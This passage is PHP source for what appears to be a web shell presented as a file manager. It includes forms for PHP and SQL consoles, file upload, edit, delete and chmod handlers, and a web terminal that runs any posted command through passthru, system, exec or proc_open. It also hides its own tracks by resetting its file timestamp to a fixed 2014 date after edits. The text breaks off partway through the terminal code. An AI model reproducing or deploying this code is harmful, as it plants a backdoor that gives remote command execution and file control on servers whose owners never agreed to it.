kkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
